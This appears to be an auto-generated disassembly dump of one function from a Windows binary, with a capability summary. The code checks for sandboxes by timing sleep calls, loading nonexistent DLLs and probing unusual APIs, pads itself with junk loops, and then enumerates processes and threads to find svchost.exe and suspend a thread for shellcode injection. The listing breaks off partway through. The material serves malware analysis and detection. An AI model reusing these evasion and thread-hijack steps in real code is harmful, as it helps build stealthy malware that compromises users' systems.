Function at 0x140001584
Capabilities:
Allocate or change rwx memory
Enumerate processes
Enumerate threads
Execute shellcode via indirect call
Hijack thread execution
Link many functions at runtime
Resume thread
Suspend thread

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xf48
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0xeb0], xmm6
mov dword [rbp + 0xef0], ecx
mov qword [rbp + 0xef8], rdx
call dbg.__main
mov ecx, 0x75b8
call sym.malloc
mov qword [rbp + 0xcf8], rax
mov ecx, 0x75b8
call sym.malloc
mov qword [rbp + 0xcf0], rax
mov dword [rbp + 0xeac], 0
jmp 0x14000166b
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0xeac]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0xcf8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0xeac], 1
cmp dword [rbp + 0xeac], 0xeb6
jle 0x1400015e1
mov dword [rbp + 0xeac], 0
jmp 0x1400016d9
mov eax, dword [rbp + 0xeac]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0xcf8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xeac]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0xcf0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0xeac], 1
cmp dword [rbp + 0xeac], 0xeb6
jle 0x140001687
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xce8], rax
mov rax, qword [rbp + 0xce8]
mov ecx, 0
call rax
mov dword [rbp + 0xce4], eax
cmp dword [rbp + 0xce4], 0xffffffff
je 0x140005bf1
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xcd8], rax
mov rax, qword [rbp + 0xcd8]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0xcd0], rax
cmp qword [rbp + 0xcd0], 0
jne 0x140005bf1
mov dword [rbp + 0xccc], 0x313
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xcc0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xcb8], rax
mov rax, qword [rbp + 0xcb8]
call rax
mov dword [rbp + 0xcb4], eax
mov eax, dword [rbp + 0xccc]
mov r8, qword [rbp + 0xcc0]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0xcb8]
call rax
mov dword [rbp + 0xcb0], eax
mov eax, dword [rbp + 0xcb0]
sub eax, dword [rbp + 0xcb4]
cmp eax, 0x2e1
jbe 0x140005bf1
mov qword [rbp + 0xea0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0xca8], rax
cmp qword [rbp + 0xca8], 0
je 0x1400018d7
mov rax, qword [rbp + 0xca8]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xca0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0xca0]
mov r9d, 0x3000
mov r8d, 0x3f2
mov edx, 0
call rax
mov qword [rbp + 0xea0], rax
cmp qword [rbp + 0xea0], 0
je 0x140005bf1
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0xc98], rax
cmp qword [rbp + 0xc98], 0
je 0x14000193e
mov rax, qword [rbp + 0xc98]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xc90], rax
mov rax, qword [rbp + 0xc90]
mov ecx, 0
call rax
mov dword [rbp + 0xe9c], eax
cmp dword [rbp + 0xe9c], 0xffffffff
je 0x140005bf1
lea rax, str.conkcqxrboxvd.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0xc88], rax
cmp qword [rbp + 0xc88], 0
jne 0x140005bf1
mov dword [rbp + 0xc84], 0x27b
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xc78], rax
mov rax, qword [rbp + 0xc78]
call rax
mov dword [rbp + 0xc74], eax
mov eax, dword [rbp + 0xc84]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0xc78]
call rax
mov dword [rbp + 0xc70], eax
mov eax, dword [rbp + 0xc70]
sub eax, dword [rbp + 0xc74]
cmp eax, 0x249
jbe 0x140005bf1
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xc68], rax
mov rax, qword [rbp + 0xc68]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0xc60], rax
cmp qword [rbp + 0xc60], 0
jne 0x140005bf1
mov ecx, 0x706
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x706
jne 0x140005bf1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, str.rcqrczeepxdv.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0xc58], rax
cmp qword [rbp + 0xc58], 0
jne 0x140005bf1
mov ecx, 0x2ea0
call sym.malloc
mov qword [rbp + 0xc50], rax
mov dword [rbp + 0xe98], 0
jmp 0x140001b1e
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000e280]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0xe98]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0xc50]
add rax, rdx
movsd xmm1, qword [0x14000e288]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0xe98], 1
cmp dword [rbp + 0xe98], 0x5d3
jle 0x140001ad0
mov dword [rbp + 0xe98], 0
jmp 0x140001b85
mov eax, dword [rbp + 0xe98]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0xc50]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0xe98]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0xc50]
add rax, rdx
movq xmm1, qword [0x14000e290]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0xe98], 1
cmp dword [rbp + 0xe98], 0x5d3
jle 0x140001b36
lea rax, [rbp + 0x280]
lea rdx, [0x14000e080]
mov ecx, 0x3f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov dword [rbp + 0x150], 0x130
mov dword [rbp + 0xe8c], 0
mov dword [rbp + 0xc4c], 0x3f5
mov dword [rbp + 0xc48], 0x1fa
mov eax, dword [rbp + 0xc4c]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sym.malloc
mov qword [rbp + 0xc40], rax
mov dword [rbp + 0xe94], 0
jmp 0x140001c4d
mov eax, dword [rbp + 0xe94]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0xc40]
add rdx, rax
mov eax, dword [rbp + 0xe94]
mov dword [rdx], eax
add dword [rbp + 0xe94], 1
mov eax, dword [rbp + 0xe94]
cmp eax, dword [rbp + 0xc48]
jl 0x140001c24
mov dword [rbp + 0xe94], 1
jmp 0x140001cdf
mov eax, dword [rbp + 0xe94]
mov dword [rbp + 0xe90], eax
jmp 0x140001cb6
mov edx, dword [rbp + 0xe94]
mov eax, dword [rbp + 0xe90]
add edx, eax
mov eax, dword [rbp + 0xe94]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0xe90]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0xc40]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0xe90], 1
mov eax, dword [rbp + 0xc48]
sub eax, dword [rbp + 0xe94]
mov edx, dword [rbp + 0xe94]
add edx, edx
lea esi, [rdx + 1]
cdq
idiv esi
cmp dword [rbp + 0xe90], eax
jle 0x140001c75
add dword [rbp + 0xe94], 1
mov eax, dword [rbp + 0xe94]
cmp eax, dword [rbp + 0xc48]
jl 0x140001c67
cmp dword [rbp + 0xc4c], 2
jle 0x140001d23
mov eax, dword [rbp + 0xe8c]
lea edx, [rax + 1]
mov dword [rbp + 0xe8c], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0xc40]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0xe94], 1
jmp 0x140001d87
mov eax, dword [rbp + 0xe94]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0xc40]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001d80
mov eax, dword [rbp + 0xe94]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0xe8c]
lea edx, [rax + 1]
mov dword [rbp + 0xe8c], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0xc40]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0xe94], 1
mov eax, dword [rbp + 0xe94]
cmp eax, dword [rbp + 0xc48]
jl 0x140001d2f
mov dword [rbp + 0xc3c], 2
mov dword [rbp + 0xe88], 0
mov dword [rbp + 0xe94], 0
jmp 0x140001de3
mov eax, dword [rbp + 0xe94]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0xc40]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001ddc
add dword [rbp + 0xe88], 1
add dword [rbp + 0xe94], 1
mov eax, dword [rbp + 0xe94]
cmp eax, dword [rbp + 0xc3c]
jl 0x140001db5
mov rax, qword [rbp + 0xc40]
mov rcx, rax
call sym.free
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0xc30], rax
mov ecx, 0x3740
call sym.malloc
mov qword [rbp + 0xc28], rax
mov ecx, 0x3740
call sym.malloc
mov qword [rbp + 0xc20], rax
mov ecx, 0x3740
call sym.malloc
mov qword [rbp + 0xc18], rax
mov dword [rbp + 0xe84], 0
jmp 0x140001f42
mov dword [rbp + 0xe80], 0
jmp 0x140001f2e
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0xe84]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0xc28]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0xe80]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0xe84]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0xc20]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0xe80]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0xe80], 1
cmp dword [rbp + 0xe80], 0x43
jle 0x140001e67
add dword [rbp + 0xe84], 1
cmp dword [rbp + 0xe84], 0x33
jle 0x140001e58
mov dword [rbp + 0xe84], 0
jmp 0x14000201f
mov dword [rbp + 0xe80], 0
jmp 0x14000200b
mov eax, dword [rbp + 0xe84]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0xc28]
add rdx, rax
mov eax, dword [rbp + 0xe80]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0xe84]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0xc20]
add rdx, rax
mov eax, dword [rbp + 0xe80]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0xe84]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0xc18]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0xe80]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0xe80], 1
cmp dword [rbp + 0xe80], 0x43
jle 0x140001f6d
add dword [rbp + 0xe84], 1
cmp dword [rbp + 0xe84], 0x33
jle 0x140001f5e
mov rax, qword [rbp + 0xc28]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0xc20]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0xc18]
mov rcx, rax
call sym.free
lea rdx, [rbp + 0x150]
mov rax, qword [rbp + 0xc30]
mov rcx, rax
call sym.Process32First
cmp eax, 1
jne 0x140005bf1
mov dword [rbp + 0xe78], 0xd0c
mov dword [rbp + 0xe7c], 0xd0c
jmp 0x14000209c
sub dword [rbp + 0xe78], 1
sub dword [rbp + 0xe7c], 1
cmp dword [rbp + 0xe7c], 0x14
jg 0x14000208e
jmp 0x140005bd2
mov dword [rbp + 0xe74], 0xffffffff
add dword [rbp + 0xe74], 1
call sym.rand
imul eax, eax, 0x359
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000e280]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0xc10], rax
cmp dword [rbp + 0xe74], 0x441
jle 0x1400020b4
lea rax, [rbp + 0x150]
add rax, 0x2c
lea rdx, str.svchost.exe
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140005bd2
mov eax, dword [rbp + 0x158]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0xc08], rax
mov ecx, 0x34c4
call sym.malloc
mov qword [rbp + 0xc00], rax
mov dword [rbp + 0xe6c], 0
mov dword [rbp + 0xe68], 0
mov dword [rbp + 0xe70], 0
jmp 0x14000221d
call sym.rand
mov edx, dword [rbp + 0xe70]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0xc00]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0xe70]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0xc00]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x1400021ec
add dword [rbp + 0xe6c], 1
jmp 0x140002216
mov eax, dword [rbp + 0xe70]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0xc00]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140002216
add dword [rbp + 0xe68], 1
add dword [rbp + 0xe70], 1
cmp dword [rbp + 0xe70], 0xd30
jle 0x14000217a
mov rax, qword [rbp + 0xc00]
mov rcx, rax
call sym.free
cmp qword [rbp + 0xc08], 0
je 0x140005bd2
mov ecx, 0x46b4
call sym.malloc
mov qword [rbp + 0xbf8], rax
mov dword [rbp + 0xe60], 0
mov dword [rbp + 0xe5c], 0
mov dword [rbp + 0xe64], 0
jmp 0x140002321
call sym.rand
mov edx, dword [rbp + 0xe64]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0xbf8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0xe64]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0xbf8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x1400022f0
add dword [rbp + 0xe60], 1
jmp 0x14000231a
mov eax, dword [rbp + 0xe64]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0xbf8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x14000231a
add dword [rbp + 0xe5c], 1
add dword [rbp + 0xe64], 1
cmp dword [rbp + 0xe64], 0x11ac
jle 0x14000227e
mov rax, qword [rbp + 0xbf8]
mov rcx, rax
call sym.free
mov qword [rbp + 0xbf0], 0xffffffffffffffff
mov qword [rbp + 0xe50], 0
mov dword [rbp + 0xe58], 0x8ff
jmp 0x140002378
mov eax, dword [rbp + 0xe58]
cdqe
add qword [rbp + 0xe50], rax
sub dword [rbp + 0xe58], 1
cmp dword [rbp + 0xe58], 0
jg 0x140002362
mov dword [rbp + 0xbec], 0
mov ecx, 0x80f70
call sym.malloc
mov qword [rbp + 0xbe0], rax
mov ecx, 0x80f70
call sym.malloc
mov qword [rbp + 0xbd8], rax
mov ecx, 0x80f70
call sym.malloc
mov qword [rbp + 0xbd0], rax
mov dword [rbp + 0xe4c], 0
jmp 0x1400024a4
mov dword [rbp + 0xe48], 0
jmp 0x14000248d
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0xe4c]
cdqe
imul rcx, rax, 0x5d0
mov rax, qword [rbp + 0xbe0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0xe48]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0xe4c]
cdqe
imul rcx, rax, 0x5d0
mov rax, qword [rbp + 0xbd8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0xe48]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0xe48], 1
cmp dword [rbp + 0xe48], 0x173
jle 0x1400023dc
add dword [rbp + 0xe4c], 1
cmp dword [rbp + 0xe4c], 0x162
jle 0x1400023cd
mov dword [rbp + 0xe4c], 0
jmp 0x140002581
mov dword [rbp + 0xe48], 0
jmp 0x14000256a
mov eax, dword [rbp + 0xe4c]
cdqe
imul rdx, rax, 0x5d0
mov rax, qword [rbp + 0xbe0]
add rdx, rax
mov eax, dword [rbp + 0xe48]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0xe4c]
cdqe
imul rdx, rax, 0x5d0
mov rax, qword [rbp + 0xbd8]
add rdx, rax
mov eax, dword [rbp + 0xe48]
cdqe
movss xmm1, dword [rdx + rax*4]
divss xmm0, xmm1
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movq xmm0, rax
call dbg.sqrt
mov eax, dword [rbp + 0xe4c]
cdqe
imul rdx, rax, 0x5d0
mov rax, qword [rbp + 0xbd0]
add rdx, rax
cvtsd2ss xmm0, xmm0
mov eax, dword [rbp + 0xe48]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0xe48], 1
cmp dword [rbp + 0xe48], 0x173
jle 0x1400024d2
add dword [rbp + 0xe4c], 1
cmp dword [rbp + 0xe4c], 0x162
jle 0x1400024c3
mov rax, qword [rbp + 0xbe0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0xbd8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0xbd0]
mov rcx, rax
call sym.free
mov edx, 0
mov ecx, 4
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0xbf0], rax
cmp qword [rbp + 0xbf0], 0xffffffffffffffff
je 0x140005bd2
mov dword [rbp + 0xe44], 0
jmp 0x140002632
call sym.rand
mov edx, eax
mov eax, edx
shl eax, 3
add eax, edx
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000e280]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.exp
movq rax, xmm0
mov qword [rbp + 0x980], rax
add dword [rbp + 0xe44], 1
cmp dword [rbp + 0xe44], 0x12d2
jle 0x1400025ee
mov dword [rbp + 0x960], 0x1c
mov ecx, 0x15f0
call sym.malloc
mov qword [rbp + 0xbc8], rax
mov dword [rbp + 0xe40], 0
jmp 0x1400026a3
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0xe40]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0xbc8]
add rax, rdx
movsd xmm1, qword [0x14000e280]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0xe40], 1
cmp dword [rbp + 0xe40], 0x2bd
jle 0x140002665
mov dword [rbp + 0xe40], 0
jmp 0x140002740
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0xe40]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0xbc8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xe40]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0xbc8]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.fmod
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0xe40], 1
cmp dword [rbp + 0xe40], 0x2bd
jle 0x1400026be
lea rdx, [rbp + 0x960]
mov rax, qword [rbp + 0xbf0]
mov rcx, rax
call sym.Thread32First
test eax, eax
jne 0x14000277d
mov rax, qword [rbp + 0xbf0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov dword [rbp + 0xbc4], 0
mov ecx, 0x19d8
call sym.malloc
mov qword [rbp + 0xbb8], rax
mov dword [rbp + 0xe3c], 0
jmp 0x140002888
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0xbc4], edx
mov edx, dword [rbp + 0xbc4]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0xbc4], eax
cmp dword [rbp + 0xbc4], 0x168
jle 0x14000280e
mov eax, dword [rbp + 0xe3c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0xbb8]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140002881
cmp dword [rbp + 0xbc4], 0
jns 0x14000283b
mov eax, dword [rbp + 0xe3c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0xbb8]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140002881
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0xbc4]
movsd xmm0, qword [0x14000e2a0]
mulsd xmm0, xmm1
movsd xmm1, qword [0x14000e2a8]
divsd xmm0, xmm1
mov eax, dword [rbp + 0xe3c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0xbb8]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0xe3c], 1
cmp dword [rbp + 0xe3c], 0x675
jle 0x1400027a7
mov rax, qword [rbp + 0xbb8]
mov rcx, rax
call sym.free
mov dword [rbp + 0xe38], 0xcda
jmp 0x1400028ba
sub dword [rbp + 0xe38], 1
cmp dword [rbp + 0xe38], 0
jg 0x1400028b3
mov edx, dword [rbp + 0x96c]
mov eax, dword [rbp + 0x158]
cmp edx, eax
jne 0x140005acd
mov eax, dword [rbp + 0x968]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenThread]
call rax
mov qword [rbp + 0xbb0], rax
mov dword [rbp + 0xe30], 0x492
mov dword [rbp + 0xe34], 0x492
jmp 0x14000291e
sub dword [rbp + 0xe30], 1
sub dword [rbp + 0xe34], 1
cmp dword [rbp + 0xe34], 0x4e
jg 0x140002910
cmp qword [rbp + 0xbb0], 0
je 0x140005acd
mov dword [rbp + 0xe2c], 0xffffffff
mov ecx, 0x6648
call sym.malloc
mov qword [rbp + 0xba8], rax
mov ecx, 0x6648
call sym.malloc
mov qword [rbp + 0xba0], rax
add dword [rbp + 0xe2c], 1
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0xe2c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0xba8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0xe2c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0xba8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xe2c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0xba0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0xe2c], 0xcc7
jle 0x140002961
mov rax, qword [rbp + 0xbb0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SuspendThread]
call rax
mov dword [rbp + 0xe28], 0x960
mov dword [rbp + 0xe24], 0x4f6
mov dword [rbp + 0xe20], 0x1234
mov dword [rbp + 0xe1c], 0xb2c
jmp 0x140002b45
mov eax, dword [rbp + 0xe20]
cmp eax, dword [rbp + 0xe1c]
jle 0x140002ae2
mov eax, dword [rbp + 0xe20]
cmp eax, dword [rbp + 0xe28]
jle 0x140002ac2
mov eax, dword [rbp + 0xe20]
cmp eax, dword [rbp + 0xe24]
jle 0x140002ab9
sub dword [rbp + 0xe20], 1
jmp 0x140002b2e
sub dword [rbp + 0xe24], 1
jmp 0x140002b2e
mov eax, dword [rbp + 0xe28]
cmp eax, dword [rbp + 0xe24]
jle 0x140002ad9
sub dword [rbp + 0xe28], 1
jmp 0x140002b2e
sub dword [rbp + 0xe24], 1
